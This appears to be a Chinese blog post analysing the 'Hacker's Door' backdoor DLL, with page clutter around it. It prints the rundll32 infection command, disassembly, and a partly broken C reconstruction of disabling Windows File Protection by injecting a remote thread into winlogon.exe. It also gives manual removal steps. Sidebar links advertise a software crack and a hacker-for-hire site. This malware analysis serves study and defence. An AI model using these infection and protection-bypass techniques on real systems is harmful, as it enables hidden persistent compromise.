分析黑客之门

黑客利用的远程控制特洛伊木马全解析 本文深入分析了黑客通过不同端口和服务实施远程控制的各种特洛伊木马工具,包括它们的功能、策略及潜在的危害。通过对每种木马特点的详细介绍,帮助读者更好地理解和防范这些网络攻击手段。 阅读详情

最近对后门产生了很浓厚的兴趣,上网与各位高手讨论的时候,有人提到了“黑客之门”很厉害,也算是推出来的比较成功的一个后门,于是上网下载了一个研究研究,顺便也学习学习其中的方法与技巧。不敢独享,分享于此,同时希望高手们指教。

    “黑客之门”介绍

    黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象Fport,Llister,RKDetector等查工具都失效。
程序的自启动

    既然是一个后门,那么就要随系统的启动而启动,根据黑客之门的介绍,它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件(像病毒),那就看看感染前和感染后的系统文件的区别吧!为了测试感染前后的差别,我准备了一个专门用来被感染的文件TestLoad.exe,它没有什么功能,只是弹出一个对话框,这样好等待测试,麻雀虽小,五脏俱全,省得动系统文件了。接着运行命令:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
使黑客之门感染TestLoad.exe,感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。

被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示:


感染之后的TestLoad.exe的结构如图2所示:

 

可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址(Import Table Address ITA)已经被改变,原来的ITA为0x000043FC,感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化,这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数,比较结果如图3所示:

 

提示:使用LordPE.exe查看exe文件的引入表函数方法是:点击PE Edito打开相应的文件,接着点击Directories,弹出对话框后点击Import Table右边的三个点,这样就可以查看一个可执行文件的引入表了。

    可以看出,只是在引入表链表中添加了一个相应的Hkdoordll.dll,这样当被感染的程序再次运行时,由系统的程序装载器搜索Hkdoordll.dll,并将其引用到被感染程序的地址空间,后门就运行起来了。黑客之门的这种子启动方式值得学习,比较灵巧。

    搞明白了黑客之门的启动方式后,我们就可以手动清除它了,这里切不可将Hkdoordll.dll直接删除,这样可能直接导致系统崩溃。因为系统在加载被感染的程序(假如为Services.exe)时发现没有找到Hkdoordll.dll,Services.exe将不能被装载,如果被感染的是系统关键进程的话,那么系统将不能正确的启动。清除的时候我们可以去别的机器上(相同系统与补丁)找一个Services.exe,将被感染的程序命名为Services2.exe,将Services.exe拷贝到System32文件夹下,重启电脑,删除Hkdoordll.dll就清除黑客之门了。
运行时感染

    上面说的是黑客之门的自启动方式,下面看看黑客之门是怎么感染正在运行的系统文件的,这一点让我晕了很久,最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下,正在运行的程序文件一般是不能修改或者删除的,正是由于这一点,才出现了各种程序运行时的自删除***,程序自删除不是我们这次的重点。但是,细心的用户可能已经发现,在Windows 2000或Wndows XP系统下,我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试,运行:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak,咋一看还以为“黑客之门”做好事,自动帮你备份一下系统文件,其实这可是黑客之门的狐狸尾巴啊!是它不得已而为之的。不要关闭TestLoad.exe,然后试着删除TestLoad.exe和TestLoad.exe.bak,是不是发现奇迹了?竟然把TestLoad.exe删掉了,而TestLoad.exe.bak竟然不让删,是不是和我刚才说的话矛盾?非也!非也!刚好证明了刚才的话:黑客之门先把TestLoad.exe改名为TestLoad.exe.bak,然后生成一个被感染的TestLoad.exe,这样,下次运行TestLoad.exe实际上是被替换过的程序,原来的程序则放在一边。
用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用:

文件重命名:

.data:1000C618                 lea     ecx, [esp+438h+FileName]
.data:1000C61F                 lea     edx, [esp+438h+var_324]
.data:1000C626                 push    ecx
.data:1000C627                 push    edx
.data:1000C628                 call    rename

拷贝文件:

.data:1000C66F           lea     edx, [esp+440h+var_32C]
.data:1000C676           push    0               ; bFailIfExists
.data:1000C678           lea     eax, [esp+444h+var_228]
.data:1000C67F           push    edx             ; lpNewFileName
.data:1000C680           push    eax             ; lpExistingFileName
.data:1000C681           call    CopyFileA

移动文件:

.data:1000C795           mov     eax, [ebp+8]
.data:1000C798           test    eax, eax
.data:1000C79A           jnz     short loc_1000C7FE
.data:1000C79C           lea     ecx, [esp+448h+var_334]
.data:1000C7A3           push    5               ; dwFlags
.data:1000C7A5           lea     edx, [esp+44Ch+var_230]
.data:1000C7AC           push    ecx             ; lpNewFileName
.data:1000C7AD           push    edx             ; lpExistingFileName
.data:1000C7AE           call    MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT&line; MOVEFILE_REPLACE_EXISTING);

    小知识:MSDN中对MoveFileEx()函数的解释为:
BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,  // pointer to the name of the existing file
  LPCTSTR lpNewFileName,       // pointer to the new name for the file
  DWORD dwFlags                // flag that specifies how to move file
);

    这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。

    灭掉系统文件保护

    一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。

    大家都知道,在Windows 2000和Windows XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题, TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?
这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。

发现如下的代码:

.data:1000BBB0 LoadSFCDLL   proc near    ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0      push    esi
.data:1000BBB1      xor     esi, esi
.data:1000BBB3      call    GetVersion  ; Get current version number of Windows
.data:1000BBB3      ; and information about the operating system platform
.data:1000BBB9      cmp     al, 5
.data:1000BBBB      jnz     short loc_1000BBDF
.data:1000BBBD      xor     ecx, ecx ;此时为Windows2000系统
.data:1000BBBF      mov     cl, ah
.data:1000BBC1     test    cl, cl
.data:1000BBC3     jnz     short loc_1000BBD2
.data:1000BBC5     push    offset aSfc_dll ; lpLibFileName
.data:1000BBCA     call    LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0     pop     esi
.data:1000BBD1     retn
.data:1000BBD2 loc_1000BBD2:          ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2     push    offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7     call    LoadLibraryA
.data:1000BBDD     pop     esi
.data:1000BBDE     retn

上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT 5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:

sub     esp, 228h
.data:1000BC76     lea     eax, [esp+228h+hObject]
.data:1000BC7A     push    ebx
.data:1000BC7B     push    esi
.data:1000BC7C     push    edi
.data:1000BC7D     push    offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82      push    0
.data:1000BC84      push    offset aDS      ; "%d/%s"
.data:1000BC89      push    1Fh
.data:1000BC8B     mov     edi, ecx
.data:1000BC8D     push    eax
.data:1000BC8E     call    sub_10008C60
.data:1000BC93      add     esp, 14h
.data:1000BC96      lea     ecx, [esp+234h+hObject]
.data:1000BC9A      push    ecx             ; lpMultiByteStr
.data:1000BC9B      call    sub_100016CC    //这个子函数就是用来得到进程ID
.data:1000BCA0      cmp     eax, 0FFFFFFFDhSFC
.data:1000BCA3      jb      short loc_1000BCDB
.data:1000BCA5      push    offset aCanTGetWinlogo ; "Can't get winlogon process id!rn"

上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:

.data:1000BCDB       push    eax             ; dwProcessId
.data:1000BCDC       push    0               ; bInheritHandle
.data:1000BCDE       push    1F0FFFh         ; dwDesiredAccess
.data:1000BCE3       call    OpenProcess ;打开目标进程
.data:1000BCE9       mov     ebx, eax
.data:1000BCEB       test    ebx, ebx
.data:1000BCED       jnz     short loc_1000BD25

上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:

.data:1000BD25       mov   ecx, edi
.data:1000BD27       call    LoadSFCDLL
.data:1000BD2C       mov   esi, eax
.data:1000BD2E       test    esi, esi
.data:1000BD30       jnz    short loc_1000BD6F
.data:1000BD6F       push   2              ;函数序号为2
.data:1000BD71       push   esi             ;SFC.dll的 hModule
.data:1000BD72       call    GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78       test    eax, eax
.data:1000BD7A       mov     [edi+10h], eax
.data:1000BD7D       jnz     short loc_1000BDC3

可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:

.data:1000BDC3       push    eax             ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4       push    ebx             ; Winlogon.exe进程的句柄
.data:1000BDC5       mov     ecx, edi
.data:1000BDC7       call    sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC       push    esi             ; hLibModule
.data:1000BDCD       mov     edi, eax
.data:1000BDCF       call    FreeLibrary
.data:1000BDD5       test    edi, edi
.data:1000BDD7       push    ebx             ; hObject
跟进Sub_1000BBF0函数,Sub_1000BBF0函数:
入口参数:进程句柄、线程开始地址
.data:1000BBF0 sub_1000BBF0    proc near     ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId        = dword ptr -1
.data:1000BBF0 hProcess        = dword ptr  7
.data:1000BBF0 lpStartAddress  = dword ptr  0Bh
.data:1000BBF0
.data:1000BBF0       push    ecx
.data:1000BBF1       mov     ecx, [esp+1+lpStartAddress]
.data:1000BBF5       mov     edx, [esp+1+hProcess]
.data:1000BBF9       lea     eax, [esp+1+ThreadId]
.data:1000BBFD       push    esi
.data:1000BBFE       push    eax       ; lpThreadId
.data:1000BBFF       push    0         ; dwCreationFlags
.data:1000BC01       push    0         ; lpParameter
.data:1000BC03       push    ecx       ; SFC.dll中第二个函数的函数地址
.data:1000BC04       push    0         ; dwStackSize
.data:1000BC06       push    0         ; lpThreadAttributes
.data:1000BC08       push    edx       ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09       mov     [esp+21h+ThreadId], 0
.data:1000BC11       call    CreateRemoteThread    ;创建远线程
.data:1000BC17       mov     esi, eax
.data:1000BC19       test    esi, esi  ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B       jnz     short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:     ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F          push    0FA0h           ; dwMilliseconds
.data:1000BC44          push    esi             ; 新创建的线程的句柄
.data:1000BC45          call    WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B          test    eax, eax
.data:1000BC4D          jz      short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:         ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D          push    esi             ; hObject
.data:1000BC5E          call    CloseHandle
.data:1000BC64           mov     eax, [esp+5+ThreadId]
.data:1000BC68           pop     esi
.data:1000BC69           pop     ecx
.data:1000BC6A           retn    8
.data:1000BC6A sub_1000BBF0    endp

    上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。

    事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。

    这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。

HANDLE hToken;
    LUID DebugNameValue;
    TOKEN_PRIVILEGES Privileges;
    DWORD dwRet;

    OpenProcessToken(GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES &line; TOKEN_QUERY,hToken);
    LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
    Privileges.PrivilegeCount=1;
    Privileges.Privileges[0].Luid=DebugNameValue;
    Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
                  NULL,&dwRet);
    CloseHandle(hToken);

上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:

/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
 DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
 HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
   if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{                 // Windows 2000/XP
        if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)   //Windows 2000
                   hSfc = LoadLibrary("sfc.dll");      
        else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)             //Windows XP
            hSfc = LoadLibrary("sfc_os.dll");      
    }   
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE  hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);

    结束语

    大概分析完了,刚开始拿到黑客之门的时候,还在想,它到底是怎样感染正在运行的系统文件的呢?原来以为是修改进程的句柄指向的进程的操作掩码完成的,为此我还翻阅了好多文档。结果通过对程序的反汇编学习,渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者,没有给它加壳,能让我们有幸能一睹优秀黑客工具的容颜!
 

EEKeeper.exe 博德之门2增强版修改器,单机游戏玩家的最爱。物品、人物经验全都可以改 立即下载

相关推荐

博德之门存盘文件修改器

博德之门存盘修改器 博德之门存盘修改器 博德之门存盘修改器 博德之门存盘修改器

《网络安全0-100》黑客网站分享大全快码住

祝大家好好学习,通过《网络安全0-100》学到有用的知识。拜拜。

一只正的博客 1660

EE Keeper:EE Keeper是Baldur's Gate增强版的保存的游戏编辑器。-开源

EE Keeper已保存为《博德之门:增强版》和《博德之门II:增强版》的游戏编辑器。 该项目是Shadow Keeper的延续,Shadow Keeper最初由Aaron O'Neil在2000年为Baldur's Gate II:Amn的影子和Bhaal的王位发行。 此版本仍可与原始BG2一起使用。 目前,它只能在Windows上本机运行,尽管已在Mac OS X上通过Wineskin进行了尝试,并且目前可以运行,尽管无法保证这种情况将继续存在。 但是,最大程度地增加支持是当务之急。 请注意:除非另有说明,否则EE Keeper将以Zip格式存档并上传。 请注意,如果需要任何其他信息,则应注意所创建的任何支持票。 如果您不打算继续关注票务,并且在官方的Baldur's Gate论坛上拥有一个帐户,请确保在票务中提供您的用户名,以防需要任何其他信息。

自学黑客,一般人我劝你还是算了吧!

写在开篇 笔者本人 17 年就读于一所普通的本科学校,20 年 6 月在三年经验的时候顺利通过校招实习面试进入大厂,现就职于某大厂安全联合实验室。 我为啥说自学黑客,一般人我还是劝你算了吧!因为我就是那个不一般的人。

m0_74942241的博客 608

《EE Keeper:Baldurs Gate增强版开源存档游戏编辑器》

资源下载链接为: https://pan.quark.cn/s/cc01911b0887 EE Keeper是一款专为《博德之门:增强版》和《博德之门II:增强版》设计的游戏编辑器,它是Shadow Keeper项目的延续。Shadow Keeper最初由Aaron ONeil在2000年为《博德之门II:安姆的阴影》和《巴尔的王座》推出。EE Keeper目前仍兼容原始的《博德之门II》版本。不过,该编辑器目前仅能在Windows系统上原生运行。尽管有用户尝试通过Wineskin在Mac OS X上运行,并且目前可以使用,但无法保证未来仍能持续兼容。目前,团队的首要任务是尽可能扩大对其他系统的支持。需要注意的是,EE Keeper通常会以Zip格式打包并上传。如果用户需要进一步的信息支持,请注意在相关支持请求中提供详细信息。如果用户不打算持续关注该支持请求,但拥有官方《博德之门》论坛的账号,建议在支持请求中注明论坛用户名,以便在需要时能够及时联系到用户。

欧姆龙OMRON PLC之HostLink通讯协议(四)-FINS命令进阶应用与调试技巧

本文深入探讨欧姆龙OMRON PLC的HostLink通讯协议中FINS命令的进阶应用与调试技巧。文章聚焦实战排错,详细解析命令帧解剖、响应帧解读与网络抓包三大核心方法,并分享性能优化策略,如合并读写与异步设计。同时介绍了强制操作、多存储区访问等高级命令的应用场景,旨在帮助工程师高效解决现场通讯问题,提升系统稳定性与效率。

nept的博客 750

黑客之门(hacker's door) 1.2 版

黑客之门(hackers door) 1.2 版 黑客之门采用的目前一些先进的后门技术,它只有一个dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,这使得它很容易穿透防火墙,目前还没有工具能发现它。 黑客之门独特的文件感染启动方式和端口重用

CLassic_Ms的专栏 5602

登临科技Goldwasser加速卡Python SDK实战:从环境配置到YOLOv5模型性能压测

本文详细介绍了登临科技Goldwasser加速卡的Python SDK实战指南,从环境配置到YOLOv5模型性能压测的全过程。通过驱动安装、SDK环境搭建、模型转换与推理优化等步骤,帮助开发者高效利用AI加速卡提升深度学习模型性能。重点分享了批量推理压测技巧和常见问题解决方案,助力开发者充分发挥Goldwasser加速卡的算力优势。

weixin_29035147的博客 301

【今天黑一下学校教务系统】某学校渗透测试远程命令执行(已授权)

我和小伙伴们都惊呆了

shandongjiushen的博客 5625

SBM与超效率SBM模型实战:从原始面板数据到MATLAB高效实现

本文详细介绍了SBM模型与超效率SBM模型的核心原理,并提供了从原始面板数据预处理到MATLAB高效实现的完整实战指南。通过具体代码解析,帮助研究者掌握如何利用MATLAB进行数据标准化、模型构建、效率求解及结果可视化,从而精准评估决策单元的相对效率,尤其适用于在高效单元中进一步精细排名的场景。

weixin_29100399的博客 480

Cocos Creator发布微信小游戏:深度定制与去除默认加载页面的实践指南

本文详细介绍了如何使用Cocos Creator发布微信小游戏时去除默认加载页面的实践方法。通过修改构建配置和重写启动逻辑,开发者可以自定义加载体验,提升品牌一致性。文章还提供了进阶优化方案和常见问题解决方案,帮助开发者实现更专业的微信小游戏发布流程。

weixin_27972919的博客 568

全新整理黑客网站大全!都在这了!速看收藏!

今天给大家分享一些学习网络安全的好去处。对于网络安全的学习,多逛论坛、阅读他人的技术分析帖是非常重要的。但有时候,初学者可能会感到迷茫,不知道去哪里寻找这些技术分析帖,也不知道有哪些相关的论坛或网站。所以,今天我就来给大家分享一些比较常见的国内安全论坛。

kaka0722ww的博客 6795

ECMWF等大气数据批量下载(Python API)详细步骤

ECMWF等大气数据批量下载(Python API) 遥感方向做热红外温度反演,不可避免的要用到大气廓线数据,大气数据具有实时性,比如2018年9月1日的早上8点的影像,为了提高反演精度就需要用到时间上与其相差尽可能接近的大气数据,用于消除大气的影响,如果数据量较少我们可以查看影像的时间和空间范围进行下载,但是如果处理某个较大区域时可能涉及到大量的影像,如果一景一景对应查找去下载会很麻烦,因此针对大量数据的自动批量下载很有必要。本文根据 https://cds.climate.copernicus.eu/#

liuxiaojiangtobeno1的博客 1万+

黑客之门脆弱的网络传输加密【ALLyeSNO】

Author : ALLyeSNOTeam   : FreeXploiTDate   : 2005-06-11Site   : http://blog.youkuaiyun.com/freexploit黑客之门无疑是一款非常出色的后门. So,从他一开始我就仔细的去观察和研究他。有一天一个小子在我威逼色诱之下老老实实恭恭敬敬的把某黑客之门XX工具孝敬了给我(这小子还不错有钱途,哈哈),让我对黑客之门的加密方式

FreeXploiT 2677

智能体在车联网中的应用:第9天 核心工具链与仿真世界:SUMO交通仿真入门——从安装到构建你的第一个虚拟十字路口

摘要 SUMO是一款开源微观交通仿真工具,为车联网和自动驾驶算法开发提供高效安全的测试环境。文章详细介绍了SUMO的核心概念、安装方法及实战应用。在Ubuntu或Windows系统安装SUMO后,可通过netedit工具构建十字路口路网,包括创建节点、连接边、设置交通信号灯等步骤。随后通过编写.rou.xml文件定义车辆类型、路线和车流,实现动态交通场景模拟。SUMO支持与外部程序交互,能复现真实场景、进行极端测试和算法验证,是车联网研究的理想数字沙盘。

IT深耕十余载,大道之简 1451

Python 爬虫实战:爬取去哪儿网酒店评价,提取住宿体验关键词

本文介绍了基于去哪儿网酒店评价数据的爬取与分析方法。首先通过分析网页结构和数据加载机制,定位到评价数据的JSON接口及关键参数。然后使用Python搭建爬虫环境,实现多页评价数据的批量采集与存储,并通过反爬策略确保数据获取的稳定性。在文本分析环节,采用jieba分词和TF-IDF算法提取高频关键词,结合词云可视化展示用户关注点。分析结果显示位置、服务、卫生是核心关注维度,同时识别出好评与差评的关键驱动因素。该方法为酒店服务优化和消费者决策提供了数据支持,并可通过扩展实现更深入的情感分析和竞品对比。

2503_91057718的博客 999

黑客之门的魅力:感染与加载

前置知识:黑客之门的基本功能蝴蝶:学习黑客技术很关键的一点就在于不断地学习先进的技术,不断地创造出新的东西,这样才能在飞速发展的网络技术中占领自己的一席之地。最近大家关注的黑兵器有些什么呢?黑客之门估计是大多数人关注的目标,因为它太厉害了,厉害到它不但是个功能超强的后门,同时它还有很多思想都是比较新颖的,值得大家学习。正好本文作者通过自己写程序和分析黑客之门的代码获得了很大的提高,于是写下此文。抱

1381

android osmdroid 加载常用离线地图格式(开源的在线地图)

osmdroid是(几乎)完整/免费更换为Android MapView(v1 API)类。它还包括一个模块化的瓷砖供应商系统支持众多的在线和离线瓷砖来源和覆盖支持内置覆盖绘制图标,跟踪位置和形状。如果想在你项目中使用osmdroid,绝对是灵活度最高,不用申请百度,高德等的key。还有一堆规则要遵循。osmdroid可以支持多图层叠加,绘制自已的图层。离线加载常用地图格式zip,sqlite,.

mmsx990的博客 1万+

黑客之门的魅力:感染与加载 [转]

适合读者:黑器爱好者、入侵爱好者、编程爱好者 前置知识:黑客之门的基本功能 蝴蝶:学习黑客技术很关键的一点就在于不断地学习先进的技术,不断地创造出新的东西,这样才能在飞速发展的网络技术中占领自己的一席之地。最近大家关注的黑兵器有些什么呢?黑客之门估计是大多数人关注的目标,因为它太厉害了,厉害到它不但是个功能超强的后门,同时它还有很多思想都是比较新颖的,值得大家学习。正好本文作者通过自己

ccx_john的专栏 899

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

你想象的黑客是什么样的?Python是黑客攻击语言的不二之选吗?

一、黑客的初衷与故事 Hacker(黑客),往往被人们理解为只会用非法手段来破坏网络安全的计算机高手。但是,黑客其实不是这样的,真正的“网络破坏者”是与黑客名称读音都相似的骇客。 骇客,是用黑客手段进行非法操作并为己取得利益的人。黑客,是用黑客手段为单位做事的人。 黑客与骇客的故事 骇客其实他的前身就是黑客,黑客是很善良的, 原本,只有黑客一族。而不久后,有些黑客想用黑客手段来获取利益,不断被其他的黑客反对。于是,那些黑客悄悄私下成立了一个新的族群——骇客族。 骇客族产生后,一直处于保密状态,所以,没有人

yunyun云芸 9746

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

黑客是什么,什么是黑客,它起源于什么,黑客是干什么的 ,真的,有所谓的“黑客帝国”吗?

首先黑客是什么 黑客技术起源于ARPAnet 和前UNIX时代,它代表着计算机网络的尖端技术的运用,大家对黑客的认识,或许在你印象里黑客是这样的 黑客念想图 或者是这样的; 黑客帝国 是不是很帅,是不是碉堡了!!!有没有激发大家的黑客情怀,一时间自己也想做一个黑客看看?别急小编文章最后会有教程奉上。 黑客一词的起源;黑客(hacker),源于英语动词hack,意为“劈,砍”,...

七域攻防实验室 7745

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

什么是黑客?为什么要当黑客?

黑客(Hacker)原指精通计算机科学与网络技术的人才,他们享受探索计算机程序最深奥部分的乐趣,并通过改进和优化,使计算机系统的性能得到提升。然而,在当代,这个词语的含义已经发生了变化,它通常被用来描述那些利用计算机知识非法侵入或操控他人计算机系统的个人或团体。根据他们的行为和目的,黑客可以被分为以下几类:1. 白帽黑客(White Hat Hacker):他们利用网络技术发现软件系统的安全漏洞,并通知相关企业或组织进行修复,以防止安全漏洞被恶意利用。

2401_85592408的博客 2288

玄机——第六章 流量特征分析-waf 上的截获的黑客攻击流量 wp

第六章 流量特征分析-waf 上的截获的黑客攻击流量

焦虑的焦虑 4326

黑客是什么,什么是黑客,它起源于什么,黑客是干什么的 ,真的,有所谓的“黑客帝国”吗?_简要分析“黑客”概念内涵的演变过程

黑客技术起源于ARPAnet 和前UNIX时代,它代表着计算机网络的尖端技术的运用,大家对黑客的认识,或许在你印象里黑客是这样的

ytt0523_com的博客 880

黑客24小时黑客在线接单网站,黑客零基础入门到精通,收藏这篇就够了

积累了数以百万计的技术文章、社区帖子和IT教程,若您想快速成为IT达人或白帽黑客,不妨注册,在学习中可以帮助我们少走弯路、事半功倍,而且有机会和IT大神、技术大咖进行互动交流,更有机会获得高薪工作,让我们的人生更上一层楼!网址:http://kingjzb001.w113.leoboard.com/01/index.asp。网址:http://www.softhouse.com.cn/docs/security.html。网址:http://www.shockhack.net/hzhacker/1/

2401_85026529的博客 6190
上一篇: Code Inject的新技术
下一篇: Exploiting Kaspersky Antivirus 6.0-7.0
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值